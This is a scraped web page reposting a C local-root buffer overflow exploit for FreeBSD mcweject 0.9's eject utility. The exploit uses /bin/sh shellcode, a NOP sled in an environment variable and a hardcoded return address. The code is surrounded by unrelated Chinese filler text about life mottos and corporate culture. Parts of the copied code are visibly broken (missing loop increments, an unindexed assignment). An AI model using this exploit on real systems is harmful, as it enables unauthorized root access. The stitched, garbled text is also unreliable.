FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

曾经拥有的不要忘记,难以得到的更要珍惜,属于自己的不要放弃,已经失去的留作回忆。一个人背两人的债,受多少苦我也能挨。不求锁定结局,只求曾经努力;不求事事顺意,只求心情美丽;不求左右别人,只求善待自己;不求马到成功,只求坚定不移。
// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

char buf[LEN];
char* ptr;
char* arg[4];
unsigned int ret, i;
char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
"\x80\xe8\xe4\xff\xff\xff/bin/sh";
// hardcoded... too boneidle to fix this
ret = 0xbfbfee16;
char envshell[4096];
ptr = envshell;
for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;
for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;
*(ptr) = 0x0;
memcpy (envshell, "BLEH=",5);
putenv(envshell);

memset (buf, 0x41, sizeof(buf));
buf[LEN-5] = (char) ( 0x000000ff & ret);
buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
buf[LEN-1] = 0x0;

arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;

execve (arg[0], arg, environ);

return 0;
}

以上就是FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit 。所有成功的企业必须有非常强烈的企业文化,用这个企业文化把所有人凝聚在一起。上百年的企业,不知道有多少东西都变化了,惟独它的企业精神百年不变,这非常能够说明问题。所以企业文化就是企业精神,企业精神就是企业灵魂,而这个灵魂如果是永远不衰、永远常青的,企业就永远存在。更多关于FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit 请关注haodaima.com其它相关文章!

标签: